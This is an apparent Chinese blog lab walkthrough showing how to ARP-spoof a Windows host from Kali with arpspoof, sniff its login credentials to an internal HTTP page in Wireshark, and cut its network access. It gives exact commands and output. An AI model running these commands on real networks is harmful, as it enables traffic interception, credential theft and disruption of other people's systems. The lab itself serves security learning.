onnsenn
Hi!这里是温泉,请多多指教。
温泉の无名小站

使用 Kali 进行ARP欺骗

实验环境

在阅读本篇文章之前,请先掌握原理:

网关地址:192.168.22.1

子网掩码:255.255.255.0(24)

Kali:192.168.22.200

Windows Server 2012(被攻击机器):192.168.22.100

内网HTTP服务器(Centos 7):192.168.22.50

环境安装

kali安装arpspoof工具

Kali:安装dsniff用于ARP攻击

首先看看是否有arpspoof

┌──(wenquan㉿kali)-[~]
└─$ sudo arpspoof                                                                          1 ⨯
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

如果没有的话先安装dsnif,注意不是dns

$ sudo apt-get install dsniff -y
┌──(wenquan㉿kali)-[~]
└─$ sudo apt-get install dsniff -y                                                       130 ⨯
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成                 
将会同时安装下列软件:
  libnids1.21
下列【新】软件包将被安装:
  dsniff libnids1.21
升级了 0 个软件包,新安装了 2 个软件包,要卸载 0 个软件包,有 11 个软件包未被升级。
需要下载 132 kB 的归档。
解压缩后会消耗 512 kB 的额外空间。
获取:1 http://mirrors.aliyun.com/kali kali-rolling/main amd64 libnids1.21 amd64 1.25-1 [27.3 kB]
获取:2 http://mirrors.aliyun.com/kali kali-rolling/main amd64 dsniff amd64 2.4b1+debian-30 [105 kB]
已下载 132 kB,耗时 1秒 (263 kB/s)
正在选中未选择的软件包 libnids1.21:amd64。
(正在读取数据库 ... 系统当前共安装有 285741 个文件和目录。)
准备解压 .../libnids1.21_1.25-1_amd64.deb  ...
正在解压 libnids1.21:amd64 (1.25-1) ...
正在选中未选择的软件包 dsniff。
准备解压 .../dsniff_2.4b1+debian-30_amd64.deb  ...
正在解压 dsniff (2.4b1+debian-30) ...
正在设置 libnids1.21:amd64 (1.25-1) ...
正在设置 dsniff (2.4b1+debian-30) ...
正在处理用于 kali-menu (2021.2.3) 的触发器 ...
正在处理用于 libc-bin (2.31-13) 的触发器 ...
正在处理用于 man-db (2.9.4-2) 的触发器 ...
Scanning processes...                                                                          
Scanning linux images...                                                                       

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.


搭建内网HTTP服务器

yum install -y httpd
systemctl start httpd

首先删除目前Apache欢迎文件

rm -rf /var/www/html/*

然后写一个简单的HTML文件能发起请求就行,保存到/var/www/html/index.html

<html>
    <head>
        <title> Login </title>
    </head>
    <body>
        用户名:<input name="user">
        密码:<input name="pass">
        <button type="submit">Login</button>
    </body>
</html>

关闭firewalld防火墙

systemctl stop firewalld

流量抓取

首先看看arpspoof程序帮助文档

man arpspoof
ARPSPOOF(8)                        System Manager's Manual                       ARPSPOOF(8)    
    名字 
           arpspoof - 截获交换局域网中的数据包

    用法
           arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

    描述
           arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。
           内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

    参数
           -i interface
                  指定要使用的接口(即指定一块网卡)

           -c own|host|both
                  指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。
                  使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

           -t target
                  指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

           -r     毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

           host   host是你想要截获数据包的主机 (通常是网关)。

    扩展阅读
           dsniff(8), fragrouter(8)

    作者
           Dug Song <dugsong@monkey.org>

攻击流程

  • 发送伪造的ARP请求包,修改目标主机和网关中的ARP缓存表,实施ARP欺骗;
  • 当攻击完成后,再次发送伪造的ARP请求包,修改目标主机和网关中ARP缓存表为正确的值,结束ARP欺骗。

开启IP转发

因为kali对于被攻击机器来说是网关,对于网关来说是被攻击的机器,kali在中间获取到后需要把数据发送给相应目标,否则被攻击者将无法访问互联网

开启Kali的内核IP转发:

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

修改后查看这个文件,如果是1表示修改成功

┌──(wenquan㉿kali)-[~]
└─$ cat /proc/sys/net/ipv4/ip_forward
1

进行数据捕获

首先通过ipaddr命令查询自己的网卡信息

┌──(wenquan㉿kali)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
    link/ether 00:0c:29:c4:12:93 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:c4:12:9d brd ff:ff:ff:ff:ff:ff
    inet 192.168.22.200/24 brd 192.168.22.255 scope global noprefixroute eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::4740:968e:cd11:150b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:6a:f3:8f:80 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

其中这一条就是我们目前使用的网卡,即eth1

3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:c4:12:9d brd ff:ff:ff:ff:ff:ff
    inet 192.168.22.200/24 brd 192.168.22.255 scope global noprefixroute eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::4740:968e:cd11:150b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

通过eth1进行ARP欺骗

sudo arpspoof -i eth1 -t 192.168.22.100 -r 192.168.22.1

如果一切正常,你将会看到系统在不断的发送ARP包

┌──(wenquan㉿kali)-[~]
└─$ sudo arpspoof -i eth1 -t 192.168.22.100 -r 192.168.22.1      
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:27:9a:4f 0806 42: arp reply 192.168.22.1 is-at 0:c:29:c4:12:9d
0:c:29:c4:12:9d 0:c:29:ea:79:9c 0806 42: arp reply 192.168.22.100 is-at 0:c:29:c4:12:9d

可以看到,分别欺骗了网关、被攻击IP均为本机,然后由本机进行转发,我们打开kali的wireshark,找到eth1开始捕获,过滤ip.addr == 192.168.22.100就可以看到相关数据包了。

内网间数据捕获

sudo arpspoof -i eth1 -t 192.168.22.100 192.168.22.50

开启arp欺骗后,在kali上启动wireshark抓包,过滤 ip.addr == 192.168.22.100

我们去被攻击的那台机器上访问我们搭建在内网的Centos Http服务器,然后输入账号密码提交,wireshark已经成功抓到数据

外网间数据捕获

因为发往外网的数据包都必须发往网关,所以将欺骗对象改为网关即可。

sudo arpspoof -i eth1 -t 192.168.22.100 192.168.22.1

使用被攻击的机器访问baidu.com抓包结果

因为百度开启了HTTPS,在通信的时候会进行SSL加密(一种非对称加密),所以我们无法知道请求数据包的具体内容。如果目标访问的目标站是HTTP就可以捕获到

断网攻击

和外网数据捕获一样,只需要欺骗主机IP让数据包去往错误的地方就行

sudo arpspoof -i eth1 -t 192.168.22.100 192.168.22.1 -c own

wenquan

文章作者

发表评论

textsms
account_circle
email

温泉の无名小站

使用 Kali 进行ARP欺骗
实验环境 在阅读本篇文章之前,请先掌握原理: 网关地址:192.168.22.1 子网掩码:255.255.255.0(24) Kali:192.168.22.200 Windows Server 2012(被攻击机器):192.…
扫描二维码继续阅读
2021-08-24